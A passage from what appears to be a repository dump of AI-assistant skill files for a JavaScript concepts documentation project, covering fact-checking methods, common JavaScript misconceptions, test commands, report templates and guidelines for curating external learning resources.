Check | 15-30 min | Most automated via tests |\n| Phase 5: SEO | 15-30 min | Mostly checklist verification |\n| **Total** | **2-5 hours** | For a complete concept page |\n\n---\n\n## Quick Start\n\nTo start the workflow for a new concept:\n\n```\n1. Determine the concept name and category\n2. Load this skill (concept-workflow)\n3. Execute Phase 1: Load resource-curator, find resources\n4. Execute Phase 2: Load write-concept, write the page\n5. Execute Phase 3: Load test-writer, create tests\n6. Execute Phase 4: Load fact-check, verify accuracy\n7. Execute Phase 5: Load seo-review, optimize SEO\n8. Generate final report\n9. Commit changes\n```\n\n**Example prompt to start:**\n\n> \"Create a complete concept page for 'hoisting' using the concept-workflow skill\"\n\nThis will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page.\n"
  },
  {
    "path": ".claude/skills/fact-check/SKILL.md",
    "content": "---\nname: fact-check\ndescription: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation\n---\n\n# Skill: JavaScript Fact Checker\n\nUse this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript.\n\n## When to Use\n\n- Before publishing a new concept page\n- After significant edits to existing content\n- When reviewing community contributions\n- When updating pages with new JavaScript features\n- Periodic accuracy audits of existing content\n\n## What We're Protecting Against\n\n- Incorrect JavaScript behavior claims\n- Outdated information (pre-ES6 patterns presented as current)\n- Code examples that don't produce stated outputs\n- Broken or misleading external resource links\n- Common misconceptions stated as fact\n- Browser-specific behavior presented as universal\n- Inaccurate API descriptions\n\n---\n\n## Fact-Checking Methodology\n\nFollow these five phases in order for a complete fact check.\n\n### Phase 1: Code Example Verification\n\nEvery code example in the concept page must be verified for accuracy.\n\n#### Step-by-Step Process\n\n1. **Identify all code blocks** in the document\n2. **For each code block:**\n   - Read the code and any output comments (e.g., `// \"string\"`)\n   - Mentally execute the code or test in a JavaScript environment\n   - Verify the output matches what's stated in comments\n   - Check that variable names and logic are correct\n\n3. **For \"wrong\" examples (marked with ❌):**\n   - Verify they actually produce the wrong/unexpected behavior\n   - Confirm the explanation of why it's wrong is accurate\n\n4. **For \"correct\" examples (marked with ✓):**\n   - Verify they work as stated\n   - Confirm they follow current best practices\n\n5. **Run project tests:**\n   ```bash\n   # Run all tests\n   npm test\n   \n   # Run tests for a specific concept\n   npm test -- tests/fundamentals/call-stack/\n   npm test -- tests/fundamentals/primitive-types/\n   ```\n\n6. **Check test coverage:**\n   - Look in `/tests/{category}/{concept-name}/`\n   - Verify tests exist for major code examples\n   - Flag examples without test coverage\n\n#### Code Verification Checklist\n\n| Check | How to Verify |\n|-------|---------------|\n| `console.log` outputs match comments | Run code or trace mentally |\n| Variables are correctly named/used | Read through logic |\n| Functions return expected values | Trace execution |\n| Async code resolves in stated order | Understand event loop |\n| Error examples actually throw | Test in try/catch |\n| Array/object methods return correct types | Check MDN |\n| `typeof` results are accurate | Test common cases |\n| Strict mode behavior noted if relevant | Check if example depends on it |\n\n#### Common Output Mistakes to Catch\n\n```javascript\n// Watch for these common mistakes:\n\n// 1. typeof null\ntypeof null        // \"object\" (not \"null\"!)\n\n// 2. Array methods that return new arrays vs mutate\nconst arr = [1, 2, 3]\narr.push(4)        // Returns 4 (length), not the array!\narr.map(x => x*2)  // Returns NEW array, doesn't mutate\n\n// 3. Promise resolution order\nPromise.resolve().then(() => console.log('micro'))\nsetTimeout(() => console.log('macro'), 0)\nconsole.log('sync')\n// Output: sync, micro, macro (NOT sync, macro, micro)\n\n// 4. Comparison results\n[] == false        // true\n[] === false       // false\n![]                // false (empty array is truthy!)\n\n// 5. this binding\nconst obj = {\n  name: 'Alice',\n  greet: () => console.log(this.name)  // undefined! Arrow has no this\n}\n```\n\n---\n\n### Phase 2: MDN Documentation Verification\n\nAll claims about JavaScript APIs, methods, and behavior should align with MDN documentation.\n\n#### Step-by-Step Process\n\n1. **Check all MDN links:**\n   - Click each MDN link in the document\n   - Verify the link returns 200 (not 404)\n   - Confirm the linked page matches what's being referenced\n\n2. **Verify API descriptions:**\n   - Compare method signatures with MDN\n   - Check parameter names and types\n   - Verify return types\n   - Confirm edge case behavior\n\n3. **Check for deprecated APIs:**\n   - Look for deprecation warnings on MDN\n   - Flag any deprecated methods being taught as current\n\n4. **Verify browser compatibility claims:**\n   - Cross-reference with MDN compatibility tables\n   - Check Can I Use for broader support data\n\n#### MDN Link Patterns\n\n| Content Type | MDN URL Pattern |\n|--------------|-----------------|\n| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |\n| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |\n| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` |\n| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` |\n| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |\n\n#### What to Verify Against MDN\n\n| Claim Type | What to Check |\n|------------|---------------|\n| Method signature | Parameters, optional params, return type |\n| Return value | Exact type and possible values |\n| Side effects | Does it mutate? What does it affect? |\n| Exceptions | What errors can it throw? |\n| Browser support | Compatibility tables |\n| Deprecation status | Any deprecation warnings? |\n\n---\n\n### Phase 3: ECMAScript Specification Compliance\n\nFor nuanced JavaScript behavior, verify against the ECMAScript specification.\n\n#### When to Check the Spec\n\n- Edge cases and unusual behavior\n- Claims about \"how JavaScript works internally\"\n- Type coercion rules\n- Operator precedence\n- Execution order guarantees\n- Claims using words like \"always\", \"never\", \"guaranteed\"\n\n#### How to Navigate the Spec\n\nThe ECMAScript specification is at: https://tc39.es/ecma262/\n\n| Concept | Spec Section |\n|---------|--------------|\n| Type coercion | Abstract Operations (7.1) |\n| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) |\n| typeof | The typeof Operator (13.5.3) |\n| Objects | Ordinary and Exotic Objects' Behaviours (10) |\n| Functions | ECMAScript Function Objects (10.2) |\n| this binding | ResolveThisBinding (9.4.4) |\n| Promises | Promise Objects (27.2) |\n| Iteration | Iteration (27.1) |\n\n#### Spec Verification Examples\n\n```javascript\n// Claim: \"typeof null returns 'object' due to a bug\"\n// Spec says: typeof null → \"object\" (Table 41)\n// Historical context: This is a known quirk from JS 1.0\n// Verdict: ✓ Correct, though calling it a \"bug\" is slightly informal\n\n// Claim: \"Promises always resolve asynchronously\"\n// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2)\n// Verdict: ✓ Correct - even resolved promises schedule microtasks\n\n// Claim: \"=== is faster than ==\"\n// Spec says: Nothing about performance\n// Verdict: ⚠️ Needs nuance - this is implementation-dependent\n```\n\n---\n\n### Phase 4: External Resource Verification\n\nAll external links (articles, videos, courses) must be verified.\n\n#### Step-by-Step Process\n\n1. **Check link accessibility:**\n   - Click each external link\n   - Verify it loads (not 404, not paywalled)\n   - Note any redirects to different URLs\n\n2. **Verify content accuracy:**\n   - Skim the resource for obvious errors\n   - Check it's JavaScript-focused (not C#, Python, Java)\n   - Verify it's not teaching anti-patterns\n\n3. **Check publication date:**\n   - For time-sensitive topics (async, modules, etc.), prefer recent content\n   - Flag resources from before 2015 for ES6+ topics\n\n4. **Verify description accuracy:**\n   - Does our description match what the resource actually covers?\n   - Is the description specific (not generic)?\n\n#### External Resource Checklist\n\n| Check | Pass Criteria |\n|-------|---------------|\n| Link works | Returns 200, content loads |\n| Not paywalled | Free to access (or clearly marked) |\n| JavaScript-focused | Not primarily about other languages |\n| Not outdated | Post-2015 for modern JS topics |\n| Accurate description | Our description matches actual content |\n| No anti-patterns | Doesn't teach bad practices |\n| Reputable source | From known/trusted creators |\n\n#### Red Flags in External Resources\n\n- Uses `var` everywhere for ES6+ topics\n- Uses callbacks for content about Promises/async\n- Teaches jQuery as modern DOM manipulation\n- Contains factual errors about JavaScript\n- Video is >2 hours without timestamp links\n- Content is primarily about another language\n- Uses deprecated APIs without noting deprecation\n\n---\n\n### Phase 5: Technical Claims Audit\n\nReview all prose claims about JavaScript behavior.\n\n#### Claims That Need Verification\n\n| Claim Type | How to Verify |\n|------------|---------------|\n| Performance claims | Need benchmarks or caveats |\n| Browser behavior | Specify which browsers, check MDN |\n| Historical claims | Verify dates/versions |\n| \"Always\" or \"never\" statements | Check for exceptions |\n| Comparisons (X vs Y) | Verify both sides accurately |\n\n#### Red Flags in Technical Claims\n\n- \"Always\" or \"never\" without exceptions noted\n- Performance claims without benchmarks\n- Browser behavior claims without specifying browsers\n- Comparisons that oversimplify differences\n- Historical claims without dates\n- Claims about \"how JavaScript works\" without spec reference\n\n#### Examples of Claims to Verify\n\n```markdown\n❌ \"async/await is always better than Promises\"\n→ Verify: Not always - Promise.all() is better for parallel operations\n\n❌ \"JavaScript is an interpreted language\"\n→ Verify: Modern JS engines use JIT compilation\n\n❌ \"Objects are passed by reference\"\n→ Verify: Technically \"passed by sharing\" - the reference is passed by value\n\n❌ \"=== is faster than ==\"\n→ Verify: Implementation-dependent, not guaranteed by spec\n\n✓ \"JavaScript is single-threaded\"\n→ Verify: Correct for the main thread (Web Workers are separate)\n\n✓ \"Promises always resolve asynchronously\"\n→ Verify: Correct per ECMAScript spec\n```\n\n---\n\n## Common JavaScript Misconceptions\n\nWatch for these misconceptions being stated as fact.\n\n### Type System Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| `typeof null === \"object\"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions |\n| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types |\n| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern |\n| `NaN === NaN` is false \"by mistake\" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard |\n\n### Function Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec |\n| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN |\n| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec |\n| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them |\n\n### Async Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation |\n| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable |\n| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test |\n| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test |\n\n### Object Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| Objects are \"passed by reference\" | References are passed by value (\"pass by sharing\") | Reassignment test |\n| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test |\n| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN |\n| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test |\n\n### Performance Misconceptions\n\n| Misconception | Reality | How to Verify |\n|---------------|---------|---------------|\n| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary |\n| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark |\n| Arrow functions are faster | No performance difference, just different behavior | Benchmark |\n| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case |\n\n---\n\n## Test Integration\n\nRunning the project's test suite is a key part of fact-checking.\n\n### Test Commands\n\n```bash\n# Run all tests\nnpm test\n\n# Run tests in watch mode\nnpm run test:watch\n\n# Run tests with coverage\nnpm run test:coverage\n\n# Run tests for specific concept\nnpm test -- tests/fundamentals/call-stack/\nnpm test -- tests/fundamentals/primitive-types/\nnpm test -- tests/fundamentals/value-reference-types/\nnpm test -- tests/fundamentals/type-coercion/\nnpm test -- tests/fundamentals/equality-operators/\nnpm test -- tests/fundamentals/scope-and-closures/\n```\n\n### Test Directory Structure\n\n```\ntests/\n├── fundamentals/              # Concepts 1-6\n│   ├── call-stack/\n│   ├── primitive-types/\n│   ├── value-reference-types/\n│   ├── type-coercion/\n│   ├── equality-operators/\n│   └── scope-and-closures/\n├── functions-execution/       # Concepts 7-8\n│   ├── event-loop/\n│   └── iife-modules/\n└── web-platform/              # Concepts 9-10\n    ├── dom/\n    └── http-fetch/\n```\n\n### When Tests Are Missing\n\nIf a concept doesn't have tests:\n1. Flag this in the report as \"needs test coverage\"\n2. Manually verify code examples are correct\n3. Consider adding tests as a follow-up task\n\n---\n\n## Verification Resources\n\n### Primary Sources\n\n| Resource | URL | Use For |\n|----------|-----|---------|\n| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility |\n| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior |\n| TC39 Proposals | https://github.com/tc39/proposals | New features, stages |\n| Can I Use | https://caniuse.com | Browser compatibility |\n| Node.js Docs | https://nodejs.org/docs | Node-specific APIs |\n| V8 Blog | https://v8.dev/blog | Engine internals |\n\n### Project Resources\n\n| Resource | Path | Use For |\n|----------|------|---------|\n| Test Suite | `/tests/` | Verify code examples |\n| Concept Pages | `/docs/concepts/` | Current content |\n| Run Tests | `npm test` | Execute all tests |\n\n---\n\n## Fact Check Report Template\n\nUse this template to document your findings.\n\n```markdown\n# Fact Check Report: [Concept Name]\n\n**File:** `/docs/concepts/[slug].mdx`\n**Date:** YYYY-MM-DD\n**Reviewer:** [Name/Claude]\n**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues\n\n---\n\n## Executive Summary\n\n[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.]\n\n**Tests Run:** Yes/No\n**Test Results:** X passing, Y failing\n**External Links Checked:** X/Y valid\n\n---\n\n## Phase 1: Code Example Verification\n\n| # | Description | Line | Status | Notes |\n|---|-------------|------|--------|-------|\n| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |\n| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |\n| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |\n\n### Code Issues Found\n\n#### Issue 1: [Title]\n\n**Location:** Line XX\n**Severity:** Critical/Major/Minor\n**Current Code:**\n```javascript\n// The problematic code\n```\n**Problem:** [Explanation of what's wrong]\n**Correct Code:**\n```javascript\n// The corrected code\n```\n\n---\n\n## Phase 2: MDN/Specification Verification\n\n| Claim | Location | Source | Status | Notes |\n|-------|----------|--------|--------|-------|\n| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] |\n\n### MDN Link Status\n\n| Link Text | URL | Status |\n|-----------|-----|--------|\n| [Text] | [URL] | ✅ 200 / ❌ 404 |\n\n### Specification Discrepancies\n\n[If any claims don't match the ECMAScript spec, detail them here]\n\n---\n\n## Phase 3: External Resource Verification\n\n| Resource | Type | Link | Content | Notes |\n|----------|------|------|---------|-------|\n| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] |\n\n### Broken Links\n\n1. **Line XX:** [URL] - 404 Not Found\n2. **Line YY:** [URL] - Domain expired\n\n### Content Concerns\n\n1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns]\n\n### Description Accuracy\n\n| Resource | Description Accurate? | Notes |\n|----------|----------------------|-------|\n| [Title] | ✅/❌ | [Notes] |\n\n---\n\n## Phase 4: Technical Claims Audit\n\n| Claim | Location | Verdict | Notes |\n|-------|----------|---------|-------|\n| \"[Claim]\" | Line XX | ✅/⚠️/❌ | [Notes] |\n\n### Claims Needing Revision\n\n1. **Line XX:** \"[Current claim]\"\n   - **Issue:** [What's wrong]\n   - **Suggested:** \"[Revised claim]\"\n\n---\n\n## Phase 5: Test Results\n\n**Test File:** `/tests/[category]/[concept]/[concept].test.js`\n**Tests Run:** XX\n**Passing:** XX\n**Failing:** XX\n\n### Failing Tests\n\n| Test Name | Expected | Actual | Related Doc Line |\n|-----------|----------|--------|------------------|\n| [Test] | [Expected] | [Actual] | Line XX |\n\n### Coverage Gaps\n\nExamples in documentation without corresponding tests:\n- [ ] Line XX: [Description of untested example]\n- [ ] Line YY: [Description of untested example]\n\n---\n\n## Issues Summary\n\n### Critical (Must Fix Before Publishing)\n\n1. **[Issue title]**\n   - Location: Line XX\n   - Problem: [Description]\n   - Fix: [How to fix]\n\n### Major (Should Fix)\n\n1. **[Issue title]**\n   - Location: Line XX\n   - Problem: [Description]\n   - Fix: [How to fix]\n\n### Minor (Nice to Have)\n\n1. **[Issue title]**\n   - Location: Line XX\n   - Suggestion: [Improvement]\n\n---\n\n## Recommendations\n\n1. **[Priority 1]:** [Specific actionable recommendation]\n2. **[Priority 2]:** [Specific actionable recommendation]\n3. **[Priority 3]:** [Specific actionable recommendation]\n\n---\n\n## Verification Checklist\n\n- [ ] All code examples verified for correct output\n- [ ] All MDN links checked and valid\n- [ ] API descriptions match MDN documentation\n- [ ] ECMAScript compliance verified (if applicable)\n- [ ] All external resource links accessible\n- [ ] Resource descriptions accurately represent content\n- [ ] No common JavaScript misconceptions found\n- [ ] Technical claims are accurate and nuanced\n- [ ] Project tests run and reviewed\n- [ ] Report complete and ready for handoff\n\n---\n\n## Sign-off\n\n**Verified by:** [Name/Claude]\n**Date:** YYYY-MM-DD\n**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed\n```\n\n---\n\n## Quick Reference: Verification Commands\n\n```bash\n# Run all tests\nnpm test\n\n# Run specific concept tests\nnpm test -- tests/fundamentals/call-stack/\n\n# Check for broken links (if you have a link checker)\n# Install: npm install -g broken-link-checker\n# Run: blc https://developer.mozilla.org/... -ro\n\n# Quick JavaScript REPL for testing\nnode\n> typeof null\n'object'\n> [1,2,3].map(x => x * 2)\n[ 2, 4, 6 ]\n```\n\n---\n\n## Summary\n\nWhen fact-checking a concept page:\n\n1. **Run tests first** — `npm test` catches code errors automatically\n2. **Verify every code example** — Output comments must match reality\n3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility\n4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused\n5. **Audit technical claims** — Watch for misconceptions and unsupported statements\n6. **Document everything** — Use the report template for consistent, thorough reviews\n\n**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously.\n"
  },
  {
    "path": ".claude/skills/resource-curator/SKILL.md",
    "content": "---\nname: resource-curator\ndescription: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links\n---\n\n# Skill: Resource Curator for Concept Pages\n\nUse this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content.\n\n## When to Use\n\n- Adding resources to a new concept page\n- Refreshing resources on existing pages\n- Auditing for broken or outdated links\n- Reviewing community-contributed resources\n- Periodic link maintenance\n\n## Resource Curation Methodology\n\nFollow these five phases for comprehensive resource curation.\n\n### Phase 1: Audit Existing Resources\n\nBefore adding new resources, audit what's already there:\n\n1. **Check link accessibility** — Does each link return 200?\n2. **Verify content accuracy** — Is the content still correct?\n3. **Check publication dates** — Is it too old for the topic?\n4. **Identify outdated content** — Does it use old syntax/patterns?\n5. **Review descriptions** — Are they specific or generic?\n\n### Phase 2: Identify Resource Gaps\n\nCompare current resources against targets:\n\n| Section | Target Count | Icon |\n|---------|--------------|------|\n| Reference | 2-4 MDN links | `book` |\n| Articles | 4-6 articles | `newspaper` |\n| Videos | 3-4 videos | `video` |\n| Courses | 1-3 (optional) | `graduation-cap` |\n| Books | 1-2 (optional) | `book` |\n\nAsk:\n- Are there enough resources for beginners AND advanced learners?\n- Is there visual content (diagrams, animations)?\n- Are official references (MDN) included?\n- Is there diversity in teaching styles?\n\n### Phase 3: Find New Resources\n\nSearch trusted sources using targeted queries:\n\n**For Articles:**\n```\n[concept] javascript tutorial site:javascript.info\n[concept] javascript explained site:freecodecamp.org\n[concept] javascript site:dev.to\n[concept] javascript deep dive site:2ality.com\n[concept] javascript guide site:css-tricks.com\n```\n\n**For Videos:**\n```\nYouTube: [concept] javascript explained\nYouTube: [concept] javascript tutorial\nYouTube: jsconf [concept]\nYouTube: [concept] javascript fireship\nYouTube: [concept] javascript web dev simplified\n```\n\n**For MDN:**\n```\n[concept] site:developer.mozilla.org\n[API name] MDN\n```\n\n### Phase 4: Write Descriptions\n\nEvery resource needs a specific, valuable description:\n\n**Formula:**\n```\nSentence 1: What makes this resource unique OR what it specifically covers\nSentence 2: Why reader should click (what they'll gain, who it's best for)\n```\n\n### Phase 5: Format and Organize\n\n- Use correct Card syntax with proper icons\n- Order resources logically (foundational first, advanced later)\n- Ensure consistent formatting\n\n---\n\n## Trusted Sources\n\n### Reference Sources (Priority Order)\n\n| Priority | Source | URL | Best For |\n|----------|--------|-----|----------|\n| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility |\n| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior |\n| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs |\n| 4 | Web.dev | web.dev | Performance, best practices |\n| 5 | Can I Use | caniuse.com | Browser compatibility |\n\n### Article Sources (Priority Order)\n\n| Priority | Source | Why Trusted |\n|----------|--------|-------------|\n| 1 | javascript.info | Comprehensive, exercises, well-maintained |\n| 2 | MDN Guides | Official, accurate, regularly updated |\n| 3 | freeCodeCamp | Beginner-friendly, practical |\n| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused |\n| 5 | CSS-Tricks | DOM, visual topics, well-written |\n| 6 | dev.to (Lydia Hallie) | Visual explanations, animations |\n| 7 | LogRocket Blog | Practical tutorials, real-world |\n| 8 | Smashing Magazine | In-depth, well-researched |\n| 9 | Digital Ocean | Clear tutorials, examples |\n| 10 | Kent C. Dodds | Testing, React, best practices |\n\n### Video Creators (Priority Order)\n\n| Priority | Creator | Style | Best For |\n|----------|---------|-------|----------|\n| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS |\n| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals |\n| 3 | Fun Fun Function | Deep-dives, personality | Understanding \"why\" |\n| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage |\n| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth |\n| 6 | Academind | Thorough explanations | Complete understanding |\n| 7 | The Coding Train | Creative, visual | Visual learners |\n| 8 | Wes Bos | Practical, real-world | Applied learning |\n| 9 | The Net Ninja | Step-by-step tutorials | Following along |\n| 10 | Programming with Mosh | Professional, clear | Career-focused |\n\n### Course Sources\n\n| Source | Type | Notes |\n|--------|------|-------|\n| javascript.info | Free | Comprehensive, exercises |\n| Piccalilli | Free | Well-written, modern |\n| freeCodeCamp | Free | Project-based |\n| Frontend Masters | Paid | Expert instructors |\n| Egghead.io | Paid | Short, focused lessons |\n| Udemy (top-rated) | Paid | Check reviews carefully |\n| Codecademy | Freemium | Interactive |\n\n---\n\n## Quality Criteria\n\n### Must Have (Required)\n\n- [ ] **Link works** — Returns 200 (not 404, 301, 5xx)\n- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc.\n- [ ] **Technically accurate** — No factual errors or anti-patterns\n- [ ] **Accessible** — Free or has meaningful free preview\n\n### Should Have (Preferred)\n\n- [ ] **Recent enough** — See publication date guidelines below\n- [ ] **Reputable source** — From trusted sources list or well-known creator\n- [ ] **Unique perspective** — Not duplicate of existing resources\n- [ ] **Appropriate depth** — Matches concept complexity\n- [ ] **Good engagement** — Positive comments, high views (for videos)\n\n### Red Flags (Reject)\n\n| Red Flag | Why It Matters |\n|----------|----------------|\n| Uses `var` everywhere | Outdated for ES6+ topics |\n| Teaches anti-patterns | Harmful to learners |\n| Primarily other languages | Wrong focus |\n| Hard paywall (no preview) | Inaccessible |\n| Pre-2015 for modern topics | Likely outdated |\n| Low quality comments | Often indicates issues |\n| Factual errors | Spreads misinformation |\n| Clickbait title, thin content | Wastes reader time |\n\n---\n\n## Publication Date Guidelines\n\n| Topic Category | Minimum Year | Reasoning |\n|----------------|--------------|-----------|\n| **ES6+ Features** | 2015+ | ES6 released June 2015 |\n| **Promises** | 2015+ | Native Promises in ES6 |\n| **async/await** | 2017+ | ES2017 feature |\n| **ES Modules** | 2018+ | Stable browser support |\n| **Optional chaining (?.)** | 2020+ | ES2020 feature |\n| **Nullish coalescing (??)** | 2020+ | ES2020 feature |\n| **Top-level await** | 2022+ | ES2022 feature |\n| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change |\n| **DOM manipulation** | 2018+ | Modern APIs preferred |\n| **Fetch API** | 2017+ | Widespread support |\n\n**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent.\n\n---\n\n## Description Writing Guide\n\n### The Formula\n\n```\nSentence 1: What makes this resource unique OR what it specifically covers\nSentence 2: Why reader should click (what they'll gain, who it's best for)\n```\n\n### Good Examples\n\n```markdown\n<Card title=\"JavaScript Visualized: Promises & Async/Await — Lydia Hallie\" icon=\"newspaper\" href=\"https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke\">\n  Animated GIFs showing the call stack, microtask queue, and event loop in action. \n  The visuals make Promise execution order finally click for visual learners.\n</Card>\n\n<Card title=\"What the heck is the event loop anyway? — Philip Roberts\" icon=\"video\" href=\"https://www.youtube.com/watch?v=8aGhZQkoFbQ\">\n  The legendary JSConf talk that made the event loop click for millions of developers. \n  Philip Roberts' live visualizations are the gold standard — a must-watch.\n</Card>\n\n<Card title=\"You Don't Know JS: Scope & Closures — Kyle Simpson\" icon=\"book\" href=\"https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/README.md\">\n  Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior. \n  Goes beyond the basics into edge cases and mental models for truly understanding scope.\n</Card>\n\n<Card title=\"JavaScript Promises in 10 Minutes — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=DHvZLI7Db8E\">\n  Quick, clear explanation covering Promise creation, chaining, and error handling. \n  Perfect starting point if you're new to async JavaScript.\n</Card>\n\n<Card title=\"How to Escape Async/Await Hell — Aditya Agarwal\" icon=\"newspaper\" href=\"https://medium.com/free-code-camp/avoiding-the-async-await-hell-c77a0fb71c4c\">\n  The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear. \n  Essential reading once you know async/await basics but want to write faster code.\n</Card>\n```\n\n### Bad Examples (Avoid)\n\n```markdown\n<!-- TOO GENERIC -->\n<Card title=\"Promises Tutorial\" icon=\"newspaper\" href=\"...\">\n  A comprehensive guide to Promises in JavaScript.\n</Card>\n\n<!-- NO VALUE PROPOSITION -->\n<Card title=\"Learn Closures\" icon=\"video\" href=\"...\">\n  This video explains closures in JavaScript.\n</Card>\n\n<!-- VAGUE, NO SPECIFICS -->\n<Card title=\"JavaScript Guide\" icon=\"newspaper\" href=\"...\">\n  Everything you need to know about JavaScript.\n</Card>\n\n<!-- JUST RESTATING THE TITLE -->\n<Card title=\"Understanding the Event Loop\" icon=\"video\" href=\"...\">\n  A video about understanding the event loop.\n</Card>\n```\n\n### Words and Phrases to Avoid\n\n| Avoid | Why | Use Instead |\n|-------|-----|-------------|\n| \"comprehensive guide to...\" | Vague, overused | Specify what's covered |\n| \"learn all about...\" | Generic | What specifically will they learn? |\n| \"everything you need to know...\" | Hyperbolic | Be specific |\n| \"great tutorial on...\" | Subjective filler | Why is it great? |\n| \"explains X\" | Too basic | How does it explain? What's unique? |\n| \"in-depth look at...\" | Vague | What depth? What aspect? |\n\n### Words and Phrases That Work\n\n| Good Phrase | Example |\n|-------------|---------|\n| \"step-by-step walkthrough\" | \"Step-by-step walkthrough of building a Promise from scratch\" |\n| \"visual explanation\" | \"Visual explanation with animated diagrams\" |\n| \"deep dive into\" | \"Deep dive into V8's optimization strategies\" |\n| \"practical examples of\" | \"Practical examples of closures in React hooks\" |\n| \"the go-to reference for\" | \"The go-to reference for array method signatures\" |\n| \"finally makes X click\" | \"Finally makes prototype chains click\" |\n| \"perfect for beginners\" | \"Perfect for beginners new to async code\" |\n| \"covers X, Y, and Z\" | \"Covers creation, chaining, and error handling\" |\n\n---\n\n## Link Audit Process\n\n### Step 1: Check Each Link\n\nFor each resource in the concept page:\n\n1. **Click the link** — Does it load?\n2. **Note the HTTP status:**\n\n| Status | Meaning | Action |\n|--------|---------|--------|\n| 200 | OK | Keep, continue to content check |\n| 301/302 | Redirect | Update to final URL |\n| 404 | Not Found | Remove or find replacement |\n| 403 | Forbidden | Check manually, may be geo-blocked |\n| 5xx | Server Error | Retry later, may be temporary |\n\n### Step 2: Content Verification\n\nFor each accessible link:\n\n1. **Skim the content** — Is it still accurate?\n2. **Check the date** — When was it published/updated?\n3. **Verify JavaScript focus** — Is it primarily about JS?\n4. **Look for red flags** — Anti-patterns, errors, outdated syntax\n\n### Step 3: Description Review\n\nFor each resource:\n\n1. **Read current description** — Is it specific?\n2. **Compare to actual content** — Does it match?\n3. **Check for generic phrases** — \"comprehensive guide\", etc.\n4. **Identify improvements** — How can it be more specific?\n\n### Step 4: Gap Analysis\n\nAfter auditing all resources:\n\n1. **Count by section** — Do we meet targets?\n2. **Check diversity** — Beginner AND advanced? Visual AND text?\n3. **Identify missing types** — No MDN? No videos?\n4. **Note recommendations** — What should we add?\n\n---\n\n## Resource Section Templates\n\n### Reference Section\n\n```markdown\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"[Main Topic] — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/...\">\n    Official MDN documentation covering [specific aspects]. \n    The authoritative reference for [what it's best for].\n  </Card>\n  <Card title=\"[Related API/Concept] — MDN\" icon=\"book\" 